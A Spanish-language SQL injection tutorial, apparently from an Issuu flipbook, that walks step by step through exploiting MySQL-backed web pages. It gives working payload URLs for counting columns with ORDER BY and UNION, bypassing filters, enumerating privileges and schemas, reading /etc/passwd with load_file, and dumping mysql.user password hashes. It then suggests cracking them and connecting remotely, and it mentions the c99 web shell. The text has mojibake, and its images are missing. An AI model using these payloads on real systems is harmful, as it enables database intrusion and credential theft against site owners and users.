sql injection

Page 1

………………………………………... --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------…………………………………………

………………………………………... --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------…………………………………………

¿Qué es sql injection? "Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos." Fuente: http://es.wikipedia.org/wiki/Inyección_SQL ¿Qué vamos a ver? Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x .. aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc .. Antes de empezar vamos a repasar algunas cosas básicas: ? enlaza la URL con los parámetros. & delimita donde termina un parámetro y donde comienza el otro. = asigna el valor. Recuerda bien

.

Empecemos ... Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php" ¿Cómo reconocer una vulnerabilidad sql? Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ` (``%27``) al final de la URL: http://localhost/print.php?id=332` también con: - paréntesis ")" - "comentarios" como ``/*`` , ``--`` o "#" - palabras del lenguaje sql como "select,order by" etc .. Ejemplos: http://localhost/print.php?id=12) -http://localhost/print.php?id=12)) -http://localhost/print.php?id=12 `-http://localhost/print.php?id=12 `) -http://localhost/print.php?id=12 `)) --


veamos:

el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo: Con /*:


Con --:


adem谩s de los ejemplos anteriores se pueden usar "operadores l贸gicos" .. ejemplo: http://localhost/print.php?id=1 and 1=1 Y luego: http://localhost/print.php?id=1 and 1=2 vemos que al hacer la primera inyecci贸n la pagina se imprime normalmente ... pero al inyectar lo


segundo vemos que se devuelve modificada (a veces vacĂ­a o falta algĂşn contenido, se notara la diferencia). Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a sql injection.


No solo se puede usar "AND" existen otros operadores lógicos: 1 && 1 //Representa el AND 1 || 1 //Representa el OR 1 XOR 0 //Retorna null si alguno de ellos es null ! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0. Explorando la base de datos Vamos a averiguar el numero de columnas ... ¿Cómo hacemos eso? ¡Fácil!, usamos el `order by` e iremos incrementando o viceversa según los resultados veamos. http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error ... http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 17/* <-------- error Cuando hay un error nos mostrara algo así: "Unknown column `17` in `order clause"


Como podemos ver hay 16 columnas.


Pero hay veces que esto no es posible y tendremos que usar UNIÓN (Sentencia UNIÓN: Se usa para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.) http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero sabremos que la unión funciona .. también podemos hacer: union all select 1/* union all select 1,2/* union all select 1,2,3/* .. y así sucesivamente hasta encontrar la cantidad de columnas. Saber la versión de mysql y entre otros datos útiles Bueno ahora analicemos la inyección de más arriba .. http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero. Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla).


Versi贸n: http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/ * (se pude usar @@version o version()) Ejemplo:

(se pude usar @@version o version())


Tendrás algo como "4.1.20-log" Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename. Es importante saber la versión de MySQL ya que podría facilitarnos la inyección .. version() Devuelve la versión del servidor MySQL. database() Devuelve el nombre de la base de datos actual. current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de acceso. Puede ser diferente del valor de USER(). last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT. connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID. @@datadir directorio de la db. un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..? ok .. para evitarlo se hace de la siguiente forma: con la función convert(). http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* con hex() y unhex(): http://localhost/print.php?id=-1+union+all+select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* aes_encrypt & aes_decrypt http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user-COMPRESS , UNCOMPRESS http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user-Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos. Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo: http://localhost/print.php?id=1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* http://localhost/print.php?id=1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Obteniendo tabla,nombre de columna y otros datos Vamos a ver como hacer al tener una versión 5 de MySQL: Para tener una lista de los privilegios podemos hacer:


http://localhost/print.php?id=1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_sc hema.user_privileges/* hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql). Con esto nos ahorraríamos de hacer inyecciones .. si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL. pero todo sale muy junto? ..¿Cómo podemos evitar esto? Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii). http://localhost/print.php?id=1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+infor mation_schema.user_privileges/* Vemos que 0x3a es un valor en hex y representa ":" Entonces obtendremos algo así: ``primerdato:segundodato`` y no ``primerdatosegundodato`` Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos: ``primerdato=segundodato`` Y en ascii: http://localhost/print.php?id=1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8, 9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* Ejemplo:


y ..


Como podemos ver en la segunda imagen aparece unos : (dos puntos) o con char():


como podemos ver lo separamos con ^. Nota: Para saber los valores ascii: http://www.ascii.cl/es/ o Sencillo script en perl para pasar una cadena de caracteres a HEX: C贸digo:

print "Enter string to encode:"; $str=<STDIN>;chomp $str; $enc = encode($str); print "Hex Encoded value: 0x$enc\n"; sub encode{ #Sub to encode @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr);


foreach $line (@ASCII) { $encoded = sprintf(`%lx`,$line); $encoded_command .= $encoded; } return $encoded_command; }

Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto:

o aprovechar los numeros que devuelve la pรกgina para poner en ellos algo diferente por ejemplo:


como ven muestra la base de datos,la tabla y la columna. en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.

Bueno seguimos .. otras formas para obtener una lista de privilegios: http://localhost/print.php?id=1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri


v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv, 0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m ysql.user-http://localhost/print.php?id=1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10, 11,12,13,14,15,16+FROM+information_schema.schema_privileges-http://localhost/print.php? id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges-una lista sobre las base de datos: http://localhost/print.php?id=1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s chema.schemata-http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db-una lista de columnas: http://localhost/print.php? id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9, 10,11,12,13,14,15,16+FROM+information_schema.columns-TambiĂŠn se puede leer algĂşn archivo local como "/etc/passwd": http://localhost/print.php?id=1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1 6-El /etc/passwd esta en hex. Ejemplo:


o obtener un user y pass de la db para poder acceder remotamente a ella: http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9, 10,11,12,13,14,15,16+FROM+mysql.user-Ejemplo:


nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306. Ejemplo:


y podernos conectar remotamente:


buscando cosas interesantes:


Nota: se puede usar cualquier cliente mysql en este caso uso la c99. Una forma para intentar buscar nombres de columnas: Buscando algĂşn nombre de tabla .. en este caso largo auth .. http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables where table_schema = database() Pasando valor a ascii y buscando ..


http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_name = char(97,117,116,104) and column_name like char() Pasar en ascii "%a%" quedando: http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_name = char(97,117,116,104) and column_name like char(37,97,37) En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii. Y ahí te larga palabras y luego obtener datos Sacando demàs tablas,columnas etc .. de la base: Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi: -1 union all select table_name from information_schema.tables obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no .. por ejemplo:


Como podemos ver tira todas las tablas .. en cambio en esta no:


Asi que para ver la siguiente tabla usaremos limit al final de la url ejemplo: -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1-Ejemplo:


como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit .. -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1-.. -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1-etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos al menos que evitemos lo que no queremos ver

ejemplo ..

en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)


pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi: 1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+fr om+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+! =0x696e666f726d6174696f6e5f736368656d61+limit+100,1-como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas. aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:


y para evitar el tema de que aparezca todo junto podriamos hacer algo asi:

como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea <br>.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.